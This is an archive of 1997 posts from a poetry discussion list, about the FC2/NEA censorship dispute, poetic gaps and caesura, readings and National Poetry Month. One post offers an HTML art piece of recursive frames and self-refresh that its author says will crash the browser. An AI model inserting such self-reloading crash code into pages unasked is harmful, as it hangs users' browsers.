contiguous at best? noise which is not inherent inside you, Alan the ideality beneath you, presen- ted by the suck dead hole suck body hole suck beneath you, Jennifer hole suck i hole document, but which becomes floating by virtue of its simulacrum of grounding.) (In other words, if noise cathects meaning, then the particular browser format appears nonetheless as ground or ideality against the play of semantic markup, which must remain both in flux and extraneous, although the embedding matrix, maternal against those dead drives which are inherently absent of meaning, creating meaning in rela- tion to their overall sememe.) (In other words, consider the closed sememe of suck /i hole suck / beneath you, Jennifer hole suck /body hole suck /dead hole

suck which throughputs meaning-flux by virtue of the formalization of fucking, the eidetic reduction given in relationship to the particular browser and computer configuration bandwidth, but _inside you, Alan_ such, as in suck inside you, Alan hole inside you, Alan suck /inside you, Alan hole ; there is an interplay of interior and exterior at work here which, confused and exhausted, nonetheless references all idealities - this suck strike hole equivalent in appearance to that suck /strike hole , the manual fabrication of cancellation, for example, absented, in favor of tokens or markers.) hole suck finger hole

suck sexthing is acid hole flooding impossibility where suck /sexthing is acid hole in lieu of or inside you, Alan the specified construction of meaning. The Jennifer fits the frame; the frame dissolves, moves; meaning _trips._

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748. **Pam Brown**
thanks
Wed 26 Mar 1997

Thankyou o helpful ones

for Texture address

Cheers
Pam Brown

↑ Index

749. **shoemakers**
Re: Is history dead?
Wed 26 Mar 1997

I'd been dipping into (picking at?) this thread, and then by one of those strange coincidences (you know the kind) i chanced on this poem:

Indian

I don't know who this Indian is,
A bow within his hand,
But he is hiding by a tree
And watching white men land.
They may be gods--they may be fiends--
They certainly look rum.
He wonders who on earth they are
And why on earth they've come.

He knows his streams are full of fish,
His forests full of deer,
And his tribe is the mighty tribe
That all the others fear.
--And, when French or English land,
The Spanish or the Dutch,
They'll tell him they're the mighty tribe
And no one else is much.

They'll kill his deer and net his fish
And clear away his wood,
And frequently remark to him
They do it for his good.
Then he will scalp and he will shoot
And he will burn and slay
And break the treaties he has mad
--And, children, so will they.

We won't go into all of that
Fir it's too long a story,
And some is brave and some is sad
And nearly all is gory.
But, just remember this about
Our ancestors so dear:
They didn't find an empty land.
The Indians were *here*.

from *A Book of Americans*--Rosemary and Stephen Vincent Benet (1933), and stamped in my copy in red ink are the words Greenwood Elementary School...

Steve Shoemaker

↑ Index

750. **KENT JOHNSON**

puking and the state

Wed 26 Mar 1997

A couple days ago I mentioned the controversy around FC2 (originally the Fiction Collective), and one of its books currently at the center of a little Congressional maelstrom, _Blood of Mugwump_, by Doug Rice. I had said that the book made me "want to puke," so to elaborate and clarify a bit, I thought I'd offer an hors d'oeuvre of sorts, though one quite randomly found by flipping through:

"Grandma Mugwump had marked our blood with her own blood. Blue under our shallow skin, visible and waiting to be touched. Now under Caddie's suffering white voice we were making Grandma vanish. Caddie began by sewing Grandma's decrepit eyes shut. Closed and throbbing with blind blood. Inside the pain she cried out: "Let what God so joined together, man never tear asunder." She stared out at the knives we held in our hands. Fingers cut and bleeding. Quickly to stop her screams, Caddie trapped Grandma's slippery tongue in her strong hand. Then in one continuous, swift musical motion, Caddie cut Grandma's tongue free and swallowed it whole intoher own belly. Wedding of all those unknown familial desires. This, here is the birth of no longer being able to to remain silent. Noise jammed her mouth, filled her, choking her parched throat. Thread and needle, Caddie sewed Garndma's lips together. Blood trapped Grandma. Gurgling, growling, Grandma's revolting stomach caved. Hunger. Not words, just sounds stormed out of Grandma's belly. Words unspeakable sprung forth from the thunder caught one last time in her dry cunt. Time inthe mirror. Grandma created herself into a shape only there to fill a lack as the words of Caddie opened her wounds. Moon clouds slicing across the Ides of midnight. Time. Floating. Grandma's buzzard hands rose from the bed and fell. Nearly dead now. etc..."

It actually gets better. Many other things in this book get eaten, and it's not pretty. Clayton Eshelman and other lower-body poets move over! You've barely cracked the surface!

But seriously, what seems involved here is an incipient repeat of the Mapplethorp affair, only this time in the field of exploratory,risk- taking writing. I'm sure many people onthis list would regard the attack on FC2 as a matter importance and basic principle, though there has been little stirring yet here on FC2's call for solidarity--though I realize that there may be stuff goign on backchannel, etc. Anyway, I have documemts here from the NEA Literature Program, including a long, threatening memo from Rep. Pete Hoekstra, Chairman of the Subcommittee on Oversight and Investigations of the Committee on Education and the Workforce (ominous sounding, no?) to Jane Alexander. This and other information (including newspaper articles and an unpublished

stomach-churning interview with Doug Rice) is available from Rice's colleague Craig Paulenich at University of Kent/Salem. His e-mail: [redacted]

Interestingly, Craig P. was co-editor with me of an anthology of American Buddhist poets, published back in '89. Rice's book is dedicated to Craig! The Dharma is vast. Or as Gary Snyder puts it ecstatically in a poem somewhere, "Ah, eating each other..."

Hope this provokes some checking into the issue and further action on it!

Kent

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751. **KENT JOHNSON**

Re: puking and the state

Thu 27 Mar 1997

Bill:

The memo is four detailed pages, and I'm currently very involved and in last five days of a Mayoral race against the northwestern Illinois mafia. No time to type it all up! But you might ask Craig Paulenich who should have a way of scanning a clear copy and then posting it. Or, perhaps the Unit for Contemporary Literature at Illinois State University could be contacted (home of FC2): phone: [redacted], fax: [redacted]. In fact, I'm goign to call them right now and see if they can help and send something to us all.

Oh, and thanks, Rachel, for the correction. My accuracy seems to be off the past couple of days!

Kent

> *Date sent: Thu, 27 Mar 1997 12:07:19 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: William Burmeister Prod <[redacted]>*
> *Subject: Re: puking and the state*
> *To: [redacted]*
>
> *Kent writes:*
>
> *Anyway, I have documemts here from the NEA Literature Program, including a long, threatening memo from Rep. Pete Hoekstra, Chairman of the Subcommittee on Oversight and Investigations of the Committee on Education and the Workforce (ominous sounding, no?) to Jane Alexander.*
>
> *Would it be possible to post the Hoekstra memo on the list? I believe that might incite something in the name of action. From what we have heard of so far, the subcommittee's intent is to use this as an example of why funding for*

> *the arts and literature should be cut, which suggests a memo replete with sweeping generalizations.*
>
> *BB*

↑ Index

752. **Daniel Zimmerman**

Re: four melismas

Thu 27 Mar 1997

Michael Boughn wrote:
>
> > Sun Ra was most definitely a misogynist (he was apparently very vocal about
> > his desire to exclude women from membership in Bill Dixon's Jazz Composer's
> > Guild, among other things).
>
> Grounds, no doubt, for x-ing all further references to that dude.
> Send him to the Dorn jail. Knuckle sandwiches all around. JOEL, be
> warned, all further attempts by anyone on Saturn to subscribe to the
> list should be viewed with utmost suspicion.
>
> Purely yours,
> Mike
> [redacted]

Mike, The last time I went out with Jack Clarke (& you) we saw Sun Ra in Buffalo at the (new) Tralf. The next time I go out with Jack, I'll read from my collaboration with him--Blue Horitals (Amman, Jordan: Oasii, 1997 --Stephen Ellis' press)--which includes poems from his In the Analogy from your shuffaloff books (just come, beautifully, in the mail)--on April 12 at Middlesex County College in Edison, NJ [at the New Jersey College English Assn. Conference] & (more publicly) on April 20 at the Old Bridge, NJ, public library. Wish you were here, &c.

Dan Zimmerman

↑ Index

753. **Pierre Joris**

Re: real audio Poetry City

Thu 27 Mar 1997

Jordan Davis wrote:
>
> If you use the www in the next couple of days, why not get a copy of the
> RealAudio Player 3.0 (www.realaudio.com) and then point yourself to:
>
> http://www.twc.org/ratest.htm
>
> There you'll find a recording from Rod Smith's 1996 Poetry City reading in
> realaudio format. (Technical note: we're testing a RealAudio server, and
> we'd appreciate any feedback -- send your comments to me at
> [redacted])
>
> Hop on over to T&W tonight to hear Lyn Hejinian and Travis Ortiz, and then
> get beamed over to Segue for the Tender Buttons Benefit Party!
>
> Thanks,
> Jordan

Jordan -- checked it out, & it sounds good -- have been using RealAudio
player for some time now & it does seem to do the job well. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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754. **KENT JOHNSON**

Re: thrice-vexed conformtent

Thu 27 Mar 1997

Hey Henry:

"how does innovative writing avoid being 'innovative?'"

Penetrating question! Thank you.

But tell me, you who have been the liveliest voice on this list the past couple or three weeks: What do you think of the recent attempt of the Christian fascists to use FC2 as a wedge against free speech in the arts? And what do you think of the apparent silence on this list about it?

Kent

> *Date sent: Thu, 27 Mar 1997 14:31:46 EST*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: henry gould <[redacted]>*
> *Subject: thrice-vexed conformtent*
> *To: [redacted]*
>
> *for all you controversy-sport lovers:*
>
> *Is innovative experimental writing considered liberating in a socio-political sense? I.e. non-fetishized-commodified in itself?*
> *Or is this a politically condescending attitude (which may have nothing to do with the value of innovative writing per se)?*
>
> *Is there a literary virtue in simplicity? Is perhaps the most accurate way of expressing COMPLEX and contradictory/complementary ideas via a combination of divagation and concision? Is this a rhetorical leading question, or what? Did the old masters of conformtent cover this already? I know people don't want to write like those guys anymore? Huh? Conformtent must die?*
> *Does Promethean Youth = Elderly Complacency = Self-righteous Bull All Around? YES!!! CAN WE ALL GET A LOAN? NO!!!!*
>
> *How does innovative writing avoid being "innovative"? And should it?*
>
> *To respond, push either the YAK button or the YELL button. In extreme cases, press the DELETE HENRY button (this will only work on applications which zone out Spandrift spam and Blarnes blarney - available on Nutscape 666). - Henry Gould*

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755. KENT JOHNSON
Re: thrice-vexed conformtent
Thu 27 Mar 1997

Good Henry. Let's see!

(I mean come on, tough guys and gals, if you can't do it now, when are you going to do id?)

kent

> *Date sent: Thu, 27 Mar 1997 18:36:47 EST*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: henry <[redacted]>*
> *Subject: Re: thrice-vexed conformtent*
> *To: [redacted]*
>
> *I think this list is silent about it because I've successfully aestheto-*
> *nesthetized it. (zzzzzzzzz....) (conformtent...tencomfornt...fortencomet...)*
> *- Eric Blarnes*
>
> *I think we're silent because of apathy and political idiocy (in the Greek sense*
> *). & because we were all grossed out by that quote you sent.*
>
> *I think people should take a look at the new apex of the M #5, especially*
> *David Matlin's extended essay on the US prison "industry" & his experience*
> *as a prison instructor, ex-Viet conscientious objector - the said industry's*
> *effect on African-American men, Viet vets, and all of us. An extremely*
> *eloquent & prophetic piece of writing. If I have any social conscience or*
> *conscience period that essay will end useless petty/complacent blab forever.*
> *- an Anonymous Former Poetics List Addict (name of Ghoul...Glue...something)*

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756. Jordan Davis
real audio Poetry City
Thu 27 Mar 1997

If you use the www in the next couple of days, why not get a copy of the RealAudio Player 3.0 (www.realaudio.com) and then point yourself to:

http://www.twc.org/ratest.htm

There you'll find a recording from Rod Smith's 1996 Poetry City reading in realaudio format. (Technical note: we're testing a RealAudio server, and we'd appreciate any feedback -- send your comments to me at [redacted])

Hop on over to T&W tonight to hear Lyn Hejinian and Travis Ortiz, and then get beamed over to Segue for the Tender Buttons Benefit Party!

Thanks,
Jordan

↑ Index

757. **David Kellogg**
Re: Formal Riddle
Thu 27 Mar 1997

> *p.s.: btw, word on the street is, Jeremy Irons is cast to play Humbert Humbert in new filming of VN's *Lolita*. Don't know the schedule.*

Cast? Wrapped! The filming, as I understand it, is complete. Should be out any time now, if distribution isn't complicated by censorship issues.

Cheers,
David
~~~
~~~

759. **William Burmeister Prod**
Re: puking and the state
Thu 27 Mar 1997

Kent writes:

> *Anyway, I have documemts here from the NEA Literature Program, including a long, threatening memo from Rep. Pete Hoekstra, Chairman of the Subcommittee on Oversight and Investigations of the Committee on Education and the Workforce (ominous sounding, no?) to Jane Alexander.*

Would it be possible to post the Hoekstra memo on the list? I believe that might incite something in the name of action. From what we have heard of so far, the subcommittee's intent is to use this as an example of why funding for the arts and literature should be cut, which suggests a memo replete with sweeping generalizations.

BB

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760. **amato**
web piece...
Thu 27 Mar 1997

this is just a plug for a short piece by my wife kass fleisher, who served as short story judge for the latest issue of the student journal *the palimpsest review*, published by penn state u...

in her own words,

> *a little essay i wrote called "spinning miss stein's grave: thoughts on the order of words in short fiction" is on the web now at*
>
> *http://www2.hn.psu.edu/faculty/jmanis/fleisher.htm*

i think some of you may find it of interest...

best,

joe

↑ Index

761. **henry gould**
thrice-vexed conformtent
Thu 27 Mar 1997

for all you controversy-sport lovers:

Is innovative experimental writing considered liberating in a socio- political sense? I.e. non-fetishized-commodified in itself? Or is this a politically condescending attitude (which may have nothing to do with the value of innovative writing per se)?

Is there a literary virtue in simplicity? Is perhaps the most accurate way of expressing COMPLEX and contradictory/complementary ideas via a combination of divagation and concision? Is this a rhetorical leading question, or what? Did the old masters of conformtent cover this already? I know people don't want to write like those guys anymore? Huh? Conformtent must die? Does Promethean Youth = Elderly Complacency = Self-righteous Bull All Around? YES!!! CAN WE ALL GET A LOAN? NO!!!!

How does innovative writing avoid being "innovative"? And should it?

To respond, push either the YAK button or the YELL button. In extreme cases, press the DELETE HENRY button (this will only work on applications which zone out Spandrift spam and Blarnes blarney - available on Nutscape 666). - Henry Gould

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762. **Don Cheney**

Re: thrice-vexed conformtent

Thu 27 Mar 1997

---

henry,

i thought this was a jordan davis post (SERIOUSLY). especially seriously when i seriously read:

"Does Promethean Youth = Elderly Complacency = Self-righteous Bull All Around? YES!!! CAN WE ALL GET A LOAN? NO!!!!"

funny stuf.f.

but then i came to the

"In extreme cases, press the DELETE HENRY button..."

reference and thought "jordan, you're really a renegade of this atomic age" and scrolled back up to see who was fucking with my head.

funny.stuff.com
don

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791

[redacted]
==========

> *for all you controversy-sport lovers:*
>
> *Is innovative experimental writing considered liberating in a socio-political sense? I.e. non-fetishized-commodified in itself? Or is this a politically condescending attitude (which may have nothing to do with the value of innovative writing per se)?*
>
> *Is there a literary virtue in simplicity? Is perhaps the most accurate way of expressing COMPLEX and contradictory/complementary ideas via a combination of divagation and concision? Is this a rhetorical leading question, or what? Did the old masters of conformtent cover this already? I know people don't want to write like those guys anymore? Huh? Conformtent must die? Does Promethean Youth = Elderly Complacency = Self-righteous Bull All Around? YES!!! CAN WE ALL GET A LOAN? NO!!!!*
>
> *How does innovative writing avoid being "innovative"? And should it?*
>
> *To respond, push either the YAK button or the YELL button. In extreme cases, press the DELETE HENRY button (this will only work on applications which zone out Spandrift spam and Blarnes blarney - available on Nutscape 666). - Henry Gould*

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763. **henry gould**
RI upcoming event
Thu 27 Mar 1997

Poetry Mission & Cranston Public Library are sponsoring

PRAISES, MANIFESTOS, & PROVOCATIONS
a "poetic action" - community debate
the Wm. L. Bergeron Memorial Poetry Program for 1997
Wed. Apr 23, 7:30-9 pm
William Hall Library, 1825 Broad St, Cranston

"What does it mean to be a poet today? Is contemporary poetry alive or dead in the US? Does poetry fill a social need? Should it? Do poets have a right to expect an audience? Has poetry become overprofessionalized?" "Every poet has written at least one poem which argues for its own existence and that proposes a role for poetry in the world. What shapes can it take? "This debate will take place on two levels, poetic and polemical. We will provide a moderator responsible for keeping discussion focused and energetic. You are encouraged to bring poems to read that grapple with these issues and contribute a rhetoric of their

own. Bring your own work & that of others. Conversation will weave around the poems as discussion develops."

Free, open to public. Refreshments. Email [redacted] for directions. Moderator: Thomas Epstein. [p.s. dear poetics people: this is not an edg.po propaganda front].

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764. **George Bowering**
Re: farm/produce
Thu 27 Mar 1997

> *Yeah. trouble is with the word: "form". sounds like a kind of envelope, or tax form, a thing you fill out, fill in.*

I never thought of it that way. I think of it as a synonym for shape. As a noun or a verb.

That is, structure might be premeditated, but not form.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

765. **henry gould**
Re: thrice-vexed conformtent
Thu 27 Mar 1997

I'm sorry you blew my cover, Don. Henry Gould, Jordan Davis, Eric Blarnes, Jack Spandrift, and Dendra Smothairn are all fairly recent soi-disant "heteronyms" of me, Fernando Pessoa, a.k.a. "Elroy Jenkins, Farmer-Poet"

↑ Index

766. **henry**
Re: thrice-vexed conformtent
Thu 27 Mar 1997

I think this list is silent about it because I've successfully aestheto- nesthetized it. (zzzzzzzzz....) (conformtent...tencomfornt...fortencomet...) - Eric Blarnes

I think we're silent because of apathy and political idiocy (in the Greek sense). & because we were all grossed out by that quote you sent.

I think people should take a look at the new apex of the M #5, especially David Matlin's extended essay on the US prison "industry" & his experience as a prison instructor, ex-Viet conscientious objector - the said industry's effect on African-American men, Viet vets, and all of us. An extremely eloquent & prophetic piece of writing. If I have any social conscience or conscience period that essay will end useless petty/complacent blab forever. - an Anonymous Former Poetics List Addict (name of Ghoul...Glue...something)

↑ Index

767. William Burmeister Prod

Re: thrice-vexed conformtent

Thu 27 Mar 1997

Henry writes:

> *Is innovative experimental writing considered liberating in a socio-political sense? I.e. non-fetishized-commodified in itself? Or is this a politically condescending attitude (which may have nothing to do with the value of innovative writing per se)?*
>
> *Is there a literary virtue in simplicity? Is perhaps the most accurate way of expressing COMPLEX and contradictory/complementary ideas via a combination of divagation and concision? Is this a rhetorical leading question, or what? Did the old masters of conformtent cover this already? I know people don't want to write like those guys anymore? Huh? Conformtent must die? Does Promethean Youth = Elderly Complacency = Self-righteous Bull All Around? YES!!! CAN WE ALL GET A LOAN? NO!!!!*
>
> *How does innovative writing avoid being "innovative"? And should it?*

Probing questions of the kind I like to see! Interesting as a lead-in for a discussion on received form (ahem) vs innovation. The last Louis Cabri post comes to mind:
> Perelman too has outdistanced the fetishization of the new, in that he is
> absent, for example, from Marjorie Perloff's critical appropriation and
> promotion of Language Writing as the next-last movement-moment.
where "Language writing as the next-last movement-moment" strikes me in an odd
way. What does it mean? This must have been heard before in the wake of past Research and Development movements. Yes? Received form (as conformtent?) is
probably inescapable and non-lethal in small doses. Can we say that we are in any greater crisis than any who have come before us? (I know this is turning

millenial and that's fine; I like a good maudlin "where we have been and where we are going" discussion)

Speaking only for myself, and as one among many who have come into Language writing from the "outside," innovative experimental writing has been both liberating and liberalizing in a personal sense first, in a social-community sense second, and lastly a political sense. Therein lies its value with me. It seems that most poetries suffer from the more or less same non-commodifiability.

Well, enough rambling from me for now. Thanks henry for the much needed probing in the area of the heretofore thought dead threads.

Bill B.

↑ Index

768. Alan Jen Sondheim
last html wk for a while
Thu 27 Mar 1997

SCHIZZ

Schizz consists of two html files cut at dotted line placed in the C:\ directly and accessed by Netscape, oh what fun. Soon you will crash, but no harm is done. Oh, and. Schizz stutters sheared. You can see it but no matter it does trail. Do run. Cut at dotted line. First file: index.htm and second file: frame.htm and do run. Run index.htm. Open in Netscape by file:///C:/index.htm do run. It does. Cut at dotted line, dotted line not included. Both files much be included, C:\index.htm, C:\frame.htm, oh what fun.

```
<html>
<head>
<title>schizz</title>
</head>
<frameset rows="50%,*" cols="50%,*">
<frame src="frame.htm">
<frame src="frame.htm">
<frame src="frame.htm">
<frame src="frame.htm">
<noframes>
ddder
</noframes>
</frameset>
</html>
```

```
<HTML>
<HEAD>
  <TITLE>ddder</TITLE>
  <META http-equiv="Refresh" content="5; URL=file:///C:/index..htm">
</HEAD>
<BODY TEXT="#804000" BGCOLOR="#008080">
<b><strike>ddder<strike></b>
</BODY>
</HTML>
```

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769. KENT JOHNSON
fascism and surrender
Thu 27 Mar 1997

Total agreement, Hugh. But David Bromige (you, one of my favorite writers), I have to admit I'm bewildered by your response which seems to suggest there is nothing to do and bemused silence is the answer? Please correct me here if I'm misinterpreting. I want to ask: If a bunch of fascists came after your work, and you appealed to fellow writers for help, how would you feel if you got left alone? I guess I'm sounding like the moral yardstick here, but really, this issue strikes me as a matter of principle, honor and plain tactical necessity for all of us on this list. I say there's five hundred letters that need to be written to Rep. Hoekstra from this list. And we should be sharing ideas about how to contact others through this incredibly useful medium that brings us together!

Let me ask a hypothetical specific: If this gang can get away with this one, will it make it *less or more likely* that they will go after someone like, say, the publisher of Aaron Shurin's latest beautiful work?

I've got a call in to FC2 and left a message requesting that they post more detailed info here.

Kent
> Date sent: Fri, 28 Mar 1997 02:07:45 -0600
> Send reply to: UB Poetics discussion group <[redacted]>
> From: Hugh Steinberg <[redacted]>
> Subject: Re: thrice-vexed conformtent
> To: [redacted]

> *I take it very seriously. I write the NEA grants (and final reports) for Tia Chucha and the Guild Complex in Chicago. We recently had a reading*

> *featuring FC2 writers. And frankly, the attacks on the NEA wreck havoc on the organizations that support literature in this country. It's gotten a lot harder to get money because of this, at a time when money is becoming ever more dear (for example, the cost of publishing a book has doubled in the last five years). Plus, when the effects of welfare reform sink in, there'll be even less for luxuries such as literary publishing.*
>
> *Hugh Steinberg*

↑ Index

770. **David Bromige**
FC2 & attempts to censor/punish
Thu 27 Mar 1997

Maybe because theres nothing to say. What is remarkable about a congressman cynically affecting moral outrage in order to get money away from the poor so that it may be given to the rich?

Thanks for the tip, some list one, i looked under "whatsnew" and found the chapter from one of the novelists in question as well as an interview with Doug Rice. I liked the writing in the novel. Enjoyed the orgasm. Of course, its one more man writing abt woman's sexuality. Do any of the women on the list find it accurate?

The congressman might be genuinely outraged, i suppose. That he wasnt there to help. Perhaps he feels left out. But I really doubt that we need to hunt for unconscious motives. That NEA money is needed for corporate welfare. db.

↑ Index

771. **George Bowering**
Re: bp/bob
Fri 28 Mar 1997

I have to agree with this one. (Well, it's better than agreeing with Bromige, for instance.) How about we call Bob BP (with caps)?

> *Chris:*
>
> *In your fantaastic long post (which I have to still go back to digest), you refer to Bob Perleman as "bp." May I ask that you don't do so any more? This confuses him with a poet that I suspect Bob Perelman would agree is bound to be (if justice is to be done) of more historical import than he: bp nichol. Let's keep bp as bp and Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or whatever.*

> *thanks, Kent*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

772. George Bowering
Re: Is history dead?
Fri 28 Mar 1997

When I see some actor getting Binoche in a movie, I get bleu with envy.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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773. KENT JOHNSON
Re: doing something
Fri 28 Mar 1997

David: Yes, the letter to one's own representative is perhaps the most effective, with copy to Hoekstra's Oversight Committee. I'll be posting that mailing info as soon as I return Curt White's message taht I just picked up on the machine. I actually didn't mean to say "bemused"--I meant to say "amused." (i.e. what's so remarkable after all about this, just another right-winger jealous of the orgasm, etc.) But your last message makes clear you *do* think this is serious.

Ok, I'll be back shortly!

Kent
> Date sent: Fri, 28 Mar 1997 09:17:59 -0500
> Send reply to: UB Poetics discussion group <[redacted]>
> From: David Bromige <[redacted]>

> Subject: doing something
> To: [redacted]

> *Yes, Kent, now you let us know what action you wish us to take, I for one will take it.*
>
> *I didnt think i sounded bemused. I was only attempting to account for the list's silence on this matter, which you were finding a puzzle. I believe I summed the situation up quite crisply. I realize that more than style is at stake here.*
>
> *I'll write a letter, but it's difficult to believe a ton of letters will make a difference. Once upon a time, perhaps. But by now, every voter in the nation must recognize the scenario on sight : who's going to support Hoffstra, except those we will never convert? Might be better to write to one's own congressperson, rather than to a man who can't or won't own his humanity. db.*

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774. **Hugh Steinberg**
Re: thrice-vexed conformtent
Fri 28 Mar 1997

I take it very seriously. I write the NEA grants (and final reports) for Tia Chucha and the Guild Complex in Chicago. We recently had a reading featuring FC2 writers. And frankly, the attacks on the NEA wreck havoc on the organizations that support literature in this country. It's gotten a lot harder to get money because of this, at a time when money is becoming ever more dear (for example, the cost of publishing a book has doubled in the last five years). Plus, when the effects of welfare reform sink in, there'll be even less for luxuries such as literary publishing.

Hugh Steinberg

↑ Index

775. **Bil Brown**
Re: Is there a National Poetry Month?
Fri 28 Mar 1997

ANYTHING that gives NATIONAL attention the the art of poetry is fine with me. The proto-Maraxist crit. of a "National Poetry Month" is fine for academic concerns, and in a perfect world it would always be POETRY any month any day. Since all that IS is Poetry... it is nice to be acknowledged once in a blue fucking moon. Don't you think? Sort'a like Father's Day/Mother's Day/Valentine's Day,

Poetry Month should be a celebration of whatever prole-sense forgot to mention to the kiddies...

For example: I'm setting up this festival at the end of April. When I started working on this Poetics festival I DIDN'T know it was "Nationalized" as the month set aside for poetry by our gov't. Granted I really wouldn't have cared fucking less, 'cause poetry is my national pastime, but it made things easier in getting people that normally wouldn't have thought twice about a poetry festival (even bookstores, and record stores) to be interested in the festival. In this imperfect world there are egoistic reasons for the attraction to anything nationally publicized (someone can get a little PR for helpng out a grassroots poetry event, a little of that 15 seconds). But hell I don't care if someone strokes their ego a little , as long as it's not at the expense of my integrity, or the integrity of my event.

National Poetry Month would assume that there is ONE national poetry, but it gives us the opportunity to prove otherwise.

My last example: When Barnes & Noble helps to fund a festival that features Anne Waldman... that makes me happy. Fuck being an ideological prude, we DO NOT live in a perfect world.

Bil Brown

↑ Index

776. Eliza McGrand- CVA Guest

Re: thrice-vexed conformtent

Fri 28 Mar 1997

---

what is apex of the M#5? where does one get it?

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777. henry

Re: thrice-vexed conformtent

Fri 28 Mar 1997

---

apex of the M is a little red lit mag. I don't have the address in front of me. They have a distributor so it's probably around in some big-city bkstores? There's info on it on the epc mags alcove site on the web, http://writing.upenn.edu/epc/mags.

HG

↑ Index

778. David Bromige
lacunae
Fri 28 Mar 1997

Bob & fellow listmembers, its early in my day & I have to dash out, or I'd do this research myself. But: I'd take a look at Robert Duncan, his preface to one of his 60s collections, either _Bending the Bow_ or _Boots & Ranches_ .I think he discusses his gappings and the time values assigned to them, and he may declare precursory users. Rachel & Henry (was it?) are correct of course to direct us to A-S verse, and also to the Latin. "Caesura" is the break but doesnt necessarily involve visual gapping. How about Old _Usura? any info there? db.

↑ Index

779. David Bromige
doing something
Fri 28 Mar 1997

Yes, Kent, now you let us know what action you wish us to take, I for one will take it.

I didnt think i sounded bemused. I was only attempting to account for the list's silence on this matter, which you were finding a puzzle. I believe I summed the situation up quite crisply. I realize that more than style is at stake here.

I'll write a letter, but it's difficult to believe a ton of letters will make a difference. Once upon a time, perhaps. But by now, every voter in the nation must recognize the scenario on sight : who's going to support Hoffstra, except those we will never convert? Might be better to write to one's own congressperson, rather than to a man who can't or won't own his humanity. db.

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780. Bob Perelman
name gap
Fri 28 Mar 1997

A student asked me the following question. I don't know the answer. & who was the first to use the things?

> *do you know the technical term for a space in a poem*
> *that resembles these:*
>
> *she knew the name a big black winged*
> *bird on the end of a line Clothes.*
>
> *?*

> *I'm going crazy. I heard it was a lacuna, but I think there's another term.*

[I'll be putting in my {non-defensive} two cents about the NYC panel as soon as time & mind clear]

↑ Index

781. **henry**
Re: name gap
Fri 28 Mar 1997

On Fri, 28 Mar 1997 09:34:34 -0500 Bob Perelman said:
>A student asked me the following question. I don't know the answer. & who
>was the first to use the things?
>
>> do you know the technical term for a space in a poem
>> that resembles these:
>>
>> she knew the name a big black winged
>> bird on the end of a line Clothes.
>>
>> ?
>> I'm going crazy. I heard it was a lacuna, but I think there's
>> another term.

A caesura with skid marks? May be some term from anglo-saxon prosody... -edg.po

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782. **Rebecca Reynolds**
poetry reading
Fri 28 Mar 1997

Poetry Reading:
Alicia Ostriker & Patricia Deinstfrey

Thursday April 3, 4:30 p.m.
Voorhees Chapel Lower Level, room 005
Douglass College Campus, New Brunswick

for info and/or directions from New York city call
Rebecca Reynolds [redacted]

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783. **Rachel Loden**

Re: name gap

Fri 28 Mar 1997

Bob Perelman wrote:
>
> A student asked me the following question. I don't know the answer. & who
> was the first to use the things?
>
> > do you know the technical term for a space in a poem
> > that resembles these:
> >
> > she knew the name a big black winged
> > bird on the end of a line Clothes.
> >
> > ?
> > I'm going crazy. I heard it was a lacuna, but I think there's
> > another term.

From the OED:

c﹟sura
[a. L. c﹟sura ﹟cutting, metrical pause﹟, f. c﹟s- ppl. stem of c﹟dere to cut...

1. In Greek and Latin prosody: The division of a metrical foot between two words, especially in certain recognized places near the middle of the line...

2. In English prosody: A pause or breathing-place about the middle of a metrical line, generally indicated by a pause in the sense. 1556 Abp. Parker Psalter A ij, Obserue the trayne: the ceasure marke To rest with note in close. 1581 Sidney Def. Poesie (1622) 529 The C﹟sura, or breathing place in the midst of the verse. 1589 Puttenham Eng. Poesie (Arb.) 88 Such Cesure must neuer be made in the middest of any word, if it be well appointed. 1603 Drayton Odes ii. 40 That ev﹟ry lively Ceasure Shall tread a perfect Measure. 1751 Chambers Cycl., Caesure, in the modern poetry denotes a rest or pause towards the middle of a long Alexandrine verse. 1841 D﹟Israeli Amen. Lit. (1867) 170 In the most ancient manuscripts of Chaucer﹟s works the c﹟sura in every line is carefully noted...

Rachel L.

↑ Index

784. Wendy Battin
Re: name gap (fwd)
Fri 28 Mar 1997

I don't know of a term. I'd guess it's too recent a development to have fallen within any period in which it was particularly fashionable to give Greek or Latin terms to such things. "Lacuna" is good, though traditionally it refers to an accidental and damaging gap. When Jimmy Merrill uses blanks in "Losing the Marbles," he produces a section that looks like a contemporary "spaced-out" poem, but the gaps prove to be lacunae left by rain on an ink manuscript, which get filled back up (reconstructed?) in a later section. I do like "lacuna," because usually the gap _does_ signify something missing, some syntactical ligature, if only a mark of punctuation.

Charles Hartman

↑ Index

785. maz881
reading
Fri 28 Mar 1997

Chris Mann will be reading in new york city soon. He will explain how us railroads of the southwest procurred the wrong kind of eucalyptus.

April 11 7.30 The Synagogue Space 108 E 1 (212) 8029872

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786. Rachel Loden
Re: name gap (fwd)
Fri 28 Mar 1997

Examples of c►sura from Du Bartas (Fr.), Old English, Gascoigne, Pope all have not only breath-break but also visual gapping. (These are in _Princeton Encyclopedia of Poetry and Poetics_.)

Charles Hartman wrote (in part):

> *"Lacuna" is good, though*
> *traditionally it refers to an accidental and damaging gap.*

I love lacuna too. In OED it is:

1. In a manuscript, an inscription, the text of an author: A hiatus, blank, missing portion...

2. Chiefly in physical science: A gap, an empty space, spot, or cavity.

Rachel L.

↑ Index

787. **main**
Re: lacunae
Fri 28 Mar 1997

